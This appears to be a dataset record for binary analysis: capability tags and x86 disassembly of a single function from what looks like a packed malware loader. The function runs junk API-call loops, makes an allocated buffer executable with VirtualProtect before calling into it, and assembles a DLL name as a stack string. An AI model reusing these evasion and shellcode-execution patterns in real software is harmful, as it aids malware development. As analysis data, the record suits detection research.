Function at 0x814ea0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x81692f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2d98
call fcn.00419970
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
mov edi, edi
cmp esi, 0x1e2f9
jge 0x814eee
push ebx
push ebx
call edi
call ebp
cmp esi, 0x1e9b2176
jle 0x814f0d
cmp dword [esp + 0x18], 0xc0963c
je 0x814f0d
cmp dword [esp + 0x18c], 0x90536f8
jne 0x814f16
inc esi
cmp esi, 0x98abe
jl 0x814ee0
cmp dword [0x26628f4], 0xcf8
jne 0x81525b
push ebx
push ebx
push ebx
call fcn.0040a6d2
add esp, 0xc
push 0x404360
push ebx
call fcn.0040a6d2
push ebx
push ebx
push ebx
push ebx
call fcn.0040a212
push ebx
push ebx
call fcn.004098b7
push ebx
call fcn.0040a0d7
add esp, 0x24
push ebx
call fcn.0041d30e
add esp, 4
push ebx
push ebx
call fcn.00409f47
add esp, 8
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x2db4], ebx
xor eax, eax
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x814fa0
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x814fba
push 0x4045d8
call fcn.0040934e
cmp esi, 0xf
jbe 0x814fcc
push ebx
push esi
lea ecx, [esp + 0x30]
call fcn.00408610
jmp 0x814fd9
cmp esi, ebx
jne 0x814fdb
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
cmp esi, ebx
seta al
mov edi, 0x10
test al, al
je 0x815016
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x3c], edi
jae 0x814ff5
lea eax, [esp + 0x28]
push esi
push ebx
push eax
call fcn.0040b410
mov eax, dword [esp + 0x34]
add esp, 0xc
mov dword [esp + 0x38], esi
cmp dword [esp + 0x3c], edi
jae 0x815012
lea eax, [esp + 0x28]
mov byte [eax + esi], 0
cmp dword [esp + 0x3c], edi
jb 0x815029
mov eax, dword [esp + 0x28]
push eax
call fcn.0040a79a
add esp, 4
mov dword [esp + 0xa0], 0x4046a0
mov dword [esp + 0xb0], 0x4046a8
mov byte [esp + 0x2db4], 2
push 4
mov dword [esp + 0x20], 1
mov dword [esp + 0x104], 0x404644
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], 0x201
mov dword [esp + 0x11c], 6
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x130], ebx
mov dword [esp + 0x110], ebx
call fcn.0040acb2
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x8150fc
call fcn.0040929d
mov dword [esi], eax
call fcn.0040905c
push ebx
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.00409463
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x8150f1
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x14]
call fcn.0040948b
jmp 0x8150fe
xor esi, esi
lea ecx, [esp + 0xb8]
lea edi, [esp + 0x24]
lea eax, [esp + 0x100]
mov dword [esp + 0x130], esi
mov dword [esp + 0x138], ecx
mov dword [esp + 0x13c], ebx
call fcn.00405850
mov edi, eax
mov dword [esp + 0x2db4], 5
call fcn.00408770
mov byte [esp + 0x2db4], 4
mov edi, dword [esp + 0x24]
mov ebp, eax
cmp edi, ebx
je 0x81518a
push ebx
lea ecx, [esp + 0x1c]
call fcn.00409463
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x815168
cmp eax, 0xffffffff
jae 0x815168
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.0040948b
cmp esi, ebx
je 0x81518a
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x140], al
cmp dword [esp + 0x138], ebx
jne 0x8151d0
mov eax, dword [esp + 0x10c]
or eax, 4
and eax, 0x17
mov dword [esp + 0x10c], eax
test dword [esp + 0x110], eax
je 0x8151d0
push ebx
lea ecx, [esp + 0x104]
call fcn.00405770
mov ecx, dword [esp + 0xb0]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0xb0], 0x40464c
mov eax, dword [esp + 0xa0]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0xa0], 0x404654
mov dword [esp + 0x2db4], 8
mov edx, dword [esp + 0xa0]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb8]
push ecx
mov dword [esp + eax + 0xa4], 0x40469c
call fcn.004073a0
mov dword [esp + 0xb8], 0x40465c
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
lea edx, [esp + 0xb0]
push edx
mov byte [esp + 0x2db8], 0xa
call fcn.00405a40
push ebx
call fcn.0040a59c
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x815283
mov eax, 0x5d1
add dword [0x26628f4], eax
cmp dword [0x26628f4], 3
jne 0x8152a2
push ebx
call edi
push ebx
push ebx
call ebp
push ebx
lea eax, [esp + 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
inc esi
cmp esi, 0x1518d4
jl 0x815270
mov ecx, dword [0x26628f4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x26628ec], eax
mov eax, dword [0x26628f4]
xor esi, esi
cmp eax, ebx
jbe 0x815326
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 0xfe
jne 0x815301
push ebx
call ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x18]
push ecx
xor edx, edx
push edx
push ebx
lea eax, [esp + 0x1b4]
push eax
push ebx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00814c30
mov eax, dword [0x26628f4]
cmp eax, 0x29
jne 0x815321
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x26628f4]
inc esi
cmp esi, eax
jb 0x8152d5
cmp eax, 0x70
jne 0x8153bf
push ebx
lea ecx, [esp + 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push ebx
push 0x404370
push 0x404380
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x404394
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [esp + 0x18]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push ebx
push ebx
lea eax, [esp + 0xdb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push ebx
lea ecx, [esp + 0x5ac]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x4043d0
push 0x4044c0
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x26628f4]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x1c], 0x9682ab
nop
cmp eax, 3
jne 0x815413
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x5b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea ecx, [esp + 0x1a8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x26628f4]
cmp eax, 0xdf
jne 0x8156b6
push 0x4044f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
lea eax, [esp + 0x15b4]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor eax, eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x184]
push edx
push eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [esp + 0x90]
push eax
call edi
push 0
lea ecx, [esp + 0x98]
push ecx
call ebp
push 0
lea edx, [esp + 0x5c]
push edx
call ebx
push 0
push 0
push 0
push 0x40450c
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1dac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x9c]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x9c]
push ecx
call ebx
push 0
lea edx, [esp + 0x58]
push edx
call ebp
lea eax, [esp + 0x5c]
push eax
call edi
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x5b0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x50]
push eax
push 0x404540
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x60]
push ecx
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0x1ac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x9ac]
push ecx
push 0x404580
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0xdac]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x25ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x154]
push 0
push edx
mov dword [esp + 0x158], 0
call fcn.00414720
add esp, 0xc
push 0
lea eax, [esp + 0x150]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x26628f4]
dec dword [esp + 0x1c]
jne 0x8153e0
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x8156d1
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x8156f0
cmp dword [0x26628f4], 0x222
jne 0x815700
push 0
call esi
dec edi
jne 0x8156f0
mov edx, dword [0x26628f4]
mov eax, dword [0x26628ec]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x82fa38], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00814e50
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
cmp dword [0x26628f4], 0xba
jne 0x81574a
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x815757
call fcn.00814c10
inc esi
cmp esi, 0x1605a
jl 0x815731
mov edx, 0x73
mov eax, 0x6d
mov word [0x2662982], dx
mov word [0x2662986], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x266298a], cx
mov word [0x2662996], ax
mov word [0x2662988], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2662980
mov dword [0x2662990], 0x6c0064
mov word [0x2662984], ax
mov word [0x2662980], cx
mov word [0x2662994], dx
mov dword [0x266298c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x26628f4], 0xc30
jne 0x815864
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0xdb4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x9ac]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2dac]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret